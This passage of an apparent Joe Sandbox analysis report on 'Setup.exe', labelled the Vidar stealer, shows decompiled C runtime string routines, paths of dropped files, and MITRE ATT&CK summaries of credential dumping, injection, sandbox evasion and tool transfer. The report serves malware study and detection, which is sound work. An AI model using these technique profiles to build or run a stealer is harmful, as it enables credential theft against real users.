						_t36 =  *_t49;
					}
				}
				_v8 = _t36;
				_t38 = _v8;
				if(_t22 != 0xffffffff) {
					if(_t40 >= 0x10) {
						_t49 =  *_t49;
					}
					_v8 = _t49 + _t22 + 1;
				} else {
					if(_t40 < 0x10) {
						_v8 =  *((intOrPtr*)(_t49 + 0x10)) + _t49;
					} else {
						_v8 =  *((intOrPtr*)(_t49 + 0x10)) +  *_t49;
					}
				}
				_t50 = _a4;
				_t25 = _v8;
				 *((intOrPtr*)(_t50 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t50 + 0x10)) = 0;
				 *_t50 = 0;
				if(_t38 != _v8) {
					E004050C0(_t50, _t38, _t25 - _t38);
				}
				return _t50;
			}

0x0040d0c0
0x0040d0c3
0x0040d0cc
0x0040d0ce
0x0040d0ea
0x0040d0f8
0x0040d0fd
0x0040d103
0x0040d115
0x0040d11b
0x0040d117
0x0040d117
0x0040d117
0x0040d11d
0x0040d105
0x0040d108
0x0040d10e
0x0040d10a
0x0040d10a
0x0040d10a
0x0040d108
0x0040d11f
0x0040d125
0x0040d12a
0x0040d14c
0x0040d14e
0x0040d14e
0x0040d154
0x0040d12c
0x0040d12f
0x0040d144
0x0040d131
0x0040d138
0x0040d138
0x0040d12f
0x0040d157
0x0040d15d
0x0040d15f
0x0040d166
0x0040d16d
0x0040d172
0x0040d17a
0x0040d17a
0x0040d187

APIs

_strlen.LIBCMT ref: 0040D0D5
_strlen.LIBCMT ref: 0040D0EC

Strings

, xrefs: 0040D0C7, 0040D0E5

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: _strlen
String ID:
API String ID: 4218353326-1083388701
Opcode ID: 9d406199820ea58312ffd74d2c5a0818db8ba0d3c558eb28c507d2cba271899a
Instruction ID: 8cd51497520fe1d34b3b83a04c6f0442c5eac5a1b1291d7e74ee479e6c8bbe8b
Opcode Fuzzy Hash: 9d406199820ea58312ffd74d2c5a0818db8ba0d3c558eb28c507d2cba271899a
Instruction Fuzzy Hash: 3E21C770B001049BDB24DF98D94566EB3F6DB85314F20462FD055AB3C1DB78AD498789

Uniqueness

Uniqueness Score: -1.00%

Function 004130C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004130C0(intOrPtr* __edi, intOrPtr* _a4, signed int _a8) {
				void* __esi;
				signed int _t16;
				intOrPtr* _t21;
				signed int _t31;
				void* _t32;
				intOrPtr* _t33;
				intOrPtr* _t34;
				intOrPtr* _t41;
				intOrPtr _t42;
				signed int _t43;

				_t41 = __edi;
				_t33 = _a4;
				_t31 = _a8;
				_t3 = _t33 + 0x10; // 0xccccccc3
				_t42 =  *_t3;
				if(_t42 < _t31) {
					_t16 = E0042905D("invalid string position");
				}
				_t43 = _t42 - _t31;
				if(_t16 < _t43) {
					_t43 = _t16;
				}
				if(_t41 != _t33) {
					if(E004131F0(_t43) == 0) {
						L15:
						return _t41;
					} else {
						_t34 = _a4;
						if( *((intOrPtr*)(_t34 + 0x14)) >= 8) {
							_t34 =  *_t34;
						}
						if( *((intOrPtr*)(_t41 + 0x14)) < 8) {
							_t21 = _t41;
						} else {
							_t21 =  *_t41;
						}
						_t32 = _t43 + _t43;
						L00429D20(_t21, _t34 + _a8 * 2, _t32);
						 *(_t41 + 0x10) = _t43;
						if( *((intOrPtr*)(_t41 + 0x14)) < 8) {
							 *((short*)(_t32 + _t41)) = 0;
							goto L15;
						} else {
							 *((short*)(_t32 +  *_t41)) = 0;
							return _t41;
						}
					}
				} else {
					E00413170(_t16 | 0xffffffff, _t43 + _t31, _t41);
					E00413170(_t31, 0, _t41);
					return _t41;
				}
			}

0x004130c0
0x004130c3
0x004130c7
0x004130cb
0x004130cb
0x004130d0
0x004130d7
0x004130d7
0x004130dc
0x004130e0
0x004130e2
0x004130e2
0x004130e6
0x0041310f
0x00413161
0x00413165
0x00413111
0x00413111
0x0041311c
0x0041311e
0x0041311e
0x00413123
0x00413129
0x00413125
0x00413125
0x00413125
0x0041312e
0x00413137
0x00413143
0x00413146
0x0041315c
0x00000000
0x00413148
0x0041314c
0x00413155
0x00413155
0x00413146
0x004130e8
0x004130f0
0x004130f9
0x00413103
0x00413103

APIs

std::_Xinvalid_argument.LIBCPMT ref: 004130D7

Part of subcall function 0042905D: std::exception::exception.LIBCMT ref: 00429072
Part of subcall function 0042905D: __CxxThrowException@8.LIBCMT ref: 00429087
Part of subcall function 0042905D: std::exception::exception.LIBCMT ref: 00429098

Part of subcall function 004131F0: std::_Xinvalid_argument.LIBCPMT ref: 004131FD

_memmove.LIBCMT ref: 00413137

Strings

invalid string position, xrefs: 004130D2

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_std::exception::exception$Exception@8Throw_memmove
String ID: invalid string position
API String ID: 3404309857-1799206989
Opcode ID: a05e92d635e8de9f5458b5f92305ad2f98497ddadabd5f7b371790301fdc2237
Instruction ID: 570e0ab1821db85af020b33d7b302fc41699d7b700c4d2ecdf3789b42c3e3619
Opcode Fuzzy Hash: a05e92d635e8de9f5458b5f92305ad2f98497ddadabd5f7b371790301fdc2237
Instruction Fuzzy Hash: E011E632300215ABCB14EE6DE8804EAB3AABF99325754462BF405CB241D735EE95C7A9

Uniqueness

Uniqueness Score: -1.00%

Function 00405360 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405360(intOrPtr* __ecx, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _t10;
				intOrPtr _t11;
				intOrPtr _t16;
				intOrPtr* _t19;
				intOrPtr _t24;
				intOrPtr _t27;
				intOrPtr* _t28;
				intOrPtr _t31;
				intOrPtr* _t34;

				_t34 = __ecx;
				_t10 =  *((intOrPtr*)(__ecx + 0x10));
				_t24 = _a4;
				if(_t10 < _t24) {
					_t10 = E0042905D("invalid string position");
				}
				_t31 = _a8;
				_t11 = _t10 - _t24;
				if(_t11 < _t31) {
					_t31 = _t11;
				}
				if(_t31 == 0) {
					L14:
					return _t34;
				} else {
					_t27 =  *((intOrPtr*)(_t34 + 0x14));
					if(_t27 < 0x10) {
						_t19 = _t34;
					} else {
						_t19 =  *_t34;
					}
					if(_t27 < 0x10) {
						_t28 = _t34;
					} else {
						_t28 =  *_t34;
					}
					E0042A2D0(_t28 + _t24, _t19 + _t24 + _t31, _t11 - _t31);
					_t16 =  *((intOrPtr*)(_t34 + 0x10)) - _t31;
					 *((intOrPtr*)(_t34 + 0x10)) = _t16;
					if( *((intOrPtr*)(_t34 + 0x14)) < 0x10) {
						 *((char*)(_t34 + _t16)) = 0;
						goto L14;
					} else {
						 *((char*)( *_t34 + _t16)) = 0;
						return _t34;
					}
				}
			}

0x00405364
0x00405366
0x00405369
0x0040536f
0x00405376
0x00405376
0x0040537b
0x0040537e
0x00405382
0x00405384
0x00405384
0x00405388
0x004053da
0x004053df
0x0040538a
0x0040538a
0x00405391
0x00405397
0x00405393
0x00405393
0x00405393
0x0040539c
0x004053a2
0x0040539e
0x0040539e
0x0040539e
0x004053af
0x004053ba
0x004053c0
0x004053c4
0x004053d6
0x00000000
0x004053c6
0x004053c8
0x004053d1
0x004053d1
0x004053c4

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00405376

Part of subcall function 0042905D: std::exception::exception.LIBCMT ref: 00429072
Part of subcall function 0042905D: __CxxThrowException@8.LIBCMT ref: 00429087
Part of subcall function 0042905D: std::exception::exception.LIBCMT ref: 00429098

_memmove.LIBCMT ref: 004053AF

Strings

invalid string position, xrefs: 00405371

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argument_memmovestd::_
String ID: invalid string position
API String ID: 1785806476-1799206989
Opcode ID: afb5619d7f9ae7252bcf5e5d174cacbef1dc6395c4d17a305101f43f3f1ce0c4
Instruction ID: a9de27f11bd9eb0edac55e7004875e1ec149924c32cba878a142b4a49597dafc
Opcode Fuzzy Hash: afb5619d7f9ae7252bcf5e5d174cacbef1dc6395c4d17a305101f43f3f1ce0c4
Instruction Fuzzy Hash: 4601DB313006144BD724896CED8096FF7AAEBD1790B24493FE581DB781D6F5EC418BA8

Uniqueness

Uniqueness Score: -1.00%

Function 00413170 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00413170(void* __eax, signed int __ecx, intOrPtr* __esi) {
				intOrPtr _t16;
				void* _t17;
				signed int _t25;
				intOrPtr* _t28;
				signed int _t30;
				intOrPtr _t34;
				intOrPtr* _t35;
				void* _t38;
				intOrPtr* _t39;

				_t39 = __esi;
				_t30 = __ecx;
				_t38 = __eax;
				_t16 =  *((intOrPtr*)(__esi + 0x10));
				if(_t16 < __ecx) {
					_t16 = E0042905D("invalid string position");
				}
				_t17 = _t16 - _t30;
				if(_t17 < _t38) {
					_t38 = _t17;
				}
				if(_t38 == 0) {
					L14:
					return _t39;
				} else {
					_t34 =  *((intOrPtr*)(_t39 + 0x14));
					if(_t34 < 8) {
						_t28 = _t39;
					} else {
						_t28 =  *_t39;
					}
					if(_t34 < 8) {
						_t35 = _t39;
					} else {
						_t35 =  *_t39;
					}
					E0042A2D0(_t35 + _t30 * 2, _t28 + (_t30 + _t38) * 2, _t17 - _t38 + _t17 - _t38);
					_t25 =  *(_t39 + 0x10) - _t38;
					 *(_t39 + 0x10) = _t25;
					if( *((intOrPtr*)(_t39 + 0x14)) < 8) {
						 *((short*)(_t39 + _t25 * 2)) = 0;
						goto L14;
					} else {
						 *((short*)( *_t39 + _t25 * 2)) = 0;
						return _t39;
					}
				}
			}

0x00413170
0x00413170
0x00413171
0x00413173
0x00413178
0x0041317f
0x0041317f
0x00413184
0x00413188
0x0041318a
0x0041318a
0x0041318e
0x004131e5
0x004131e8
0x00413190
0x00413190
0x00413197
0x0041319d
0x00413199
0x00413199
0x00413199
0x004131a2
0x004131a8
0x004131a4
0x004131a4
0x004131a4
0x004131ba
0x004131c5
0x004131cb
0x004131cf
0x004131e1
0x00000000
0x004131d1
0x004131d5
0x004131dc
0x004131dc
0x004131cf

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0041317F

Part of subcall function 0042905D: std::exception::exception.LIBCMT ref: 00429072
Part of subcall function 0042905D: __CxxThrowException@8.LIBCMT ref: 00429087
Part of subcall function 0042905D: std::exception::exception.LIBCMT ref: 00429098

_memmove.LIBCMT ref: 004131BA

Strings

invalid string position, xrefs: 0041317A

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argument_memmovestd::_
String ID: invalid string position
API String ID: 1785806476-1799206989
Opcode ID: cb36137a630ed4c95bbaccfaad3dbacbd39047bd8904ea43bef9d3b1da4c2fc8
Instruction ID: 190d62bda244f8e76144df96d017662195deac6b3aa416d6122720adefb5c2c7
Opcode Fuzzy Hash: cb36137a630ed4c95bbaccfaad3dbacbd39047bd8904ea43bef9d3b1da4c2fc8
Instruction Fuzzy Hash: 9C01D431300611ABC724CF3CED8485AB3F6AFC57463644A6ED086CB659EF35DA86879C

Uniqueness

Uniqueness Score: -1.00%

Function 0042F83E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E0042F83E(void* __ebx, void* __edx, void* __edi, intOrPtr* __esi, void* __eflags) {
				intOrPtr _t17;
				intOrPtr* _t28;
				void* _t29;

				_t30 = __eflags;
				_t28 = __esi;
				_t26 = __edx;
				_t19 = __ebx;
				 *((intOrPtr*)(__edi - 4)) =  *((intOrPtr*)(_t29 - 0x24));
				E0042D9EE(__ebx, __edx, __edi, __eflags,  *((intOrPtr*)(_t29 - 0x28)));
				 *((intOrPtr*)(L00430F87(__ebx, __edx, __eflags) + 0x88)) =  *((intOrPtr*)(_t29 - 0x2c));
				_t17 = L00430F87(_t19, _t26, _t30);
				 *((intOrPtr*)(_t17 + 0x8c)) =  *((intOrPtr*)(_t29 - 0x30));
				if( *__esi == 0xe06d7363 &&  *((intOrPtr*)(__esi + 0x10)) == 3) {
					_t17 =  *((intOrPtr*)(__esi + 0x14));
					if(_t17 == 0x19930520 || _t17 == 0x19930521 || _t17 == 0x19930522) {
						if( *((intOrPtr*)(_t29 - 0x34)) == 0) {
							_t37 =  *((intOrPtr*)(_t29 - 0x1c));
							if( *((intOrPtr*)(_t29 - 0x1c)) != 0) {
								_t17 = E0042D9C7(_t37,  *((intOrPtr*)(_t28 + 0x18)));
								_t38 = _t17;
								if(_t17 != 0) {
									_push( *((intOrPtr*)(_t29 + 0x10)));
									_push(_t28);
									return L0042F5C5(_t38);
								}
							}
						}
					}
				}
				return _t17;
			}

0x0042f83e
0x0042f83e
0x0042f83e
0x0042f83e
0x0042f841
0x0042f847
0x0042f855
0x0042f85b
0x0042f863
0x0042f86f
0x0042f877
0x0042f87f
0x0042f893
0x0042f895
0x0042f899
0x0042f89e
0x0042f8a4
0x0042f8a6
0x0042f8a8
0x0042f8ab
0x00000000
0x0042f8b2
0x0042f8a6
0x0042f899
0x0042f893
0x0042f87f
0x0042f8b3

APIs

Part of subcall function 0042D9EE: __getptd.LIBCMT ref: 0042D9F4
Part of subcall function 0042D9EE: __getptd.LIBCMT ref: 0042DA04

__getptd.LIBCMT ref: 0042F84D

Part of subcall function 00430F87: __getptd_noexit.LIBCMT ref: 00430F8A
Part of subcall function 00430F87: __amsg_exit.LIBCMT ref: 00430F97

__getptd.LIBCMT ref: 0042F85B

Strings

csm, xrefs: 0042F869

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: a01af71f59d35b1b233b80cd3198d35d2d11db1ab5ccb051baa6f9a2bfdf2f8f
Instruction ID: 80b2b6d42a876c75bb7d7a0831c17f983c67de37d28e3978f906b92e754f2d28
Opcode Fuzzy Hash: a01af71f59d35b1b233b80cd3198d35d2d11db1ab5ccb051baa6f9a2bfdf2f8f
Instruction Fuzzy Hash: 09018B76A002248ADF38AFA1E540BAEF3B4AF14318FD4053FE44096751CB389989CB48

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Setup.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Vidar

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\21325296957398731694773527

C:\ProgramData\38254479512155858792028101

C:\ProgramData\66854991065124972029767962

C:\ProgramData\68398609819664439000.exe

C:\ProgramData\68950836275313342672054142

C:\ProgramData\78434500776557639361099034

C:\ProgramData\92398908710653760371.exe

C:\ProgramData\93419621284149274896047587

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OTUW0Q90\635965506[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OTUW0Q90\Starter[1].exe

Static File Info

General

File Icon

Static PE Info

Windows Analysis Report
Setup.exe

Function 00423F60 Relevance: 227.4, APIs: 151, Instructions: 911
libraryloaderCOMMON

Function 0040E830 Relevance: 170.4, APIs: 90, Strings: 7, Instructions: 640
stringmemorytimeCOMMON

Function 0040C3A0 Relevance: 163.5, APIs: 74, Strings: 19, Instructions: 763
stringCOMMONCrypto

Function 0040F9E0 Relevance: 90.0, APIs: 43, Strings: 8, Instructions: 726
stringsleepmemoryCOMMON

Function 00419F90 Relevance: 84.4, APIs: 40, Strings: 8, Instructions: 404
filestringCOMMON

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	API monitoring, File monitoring, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

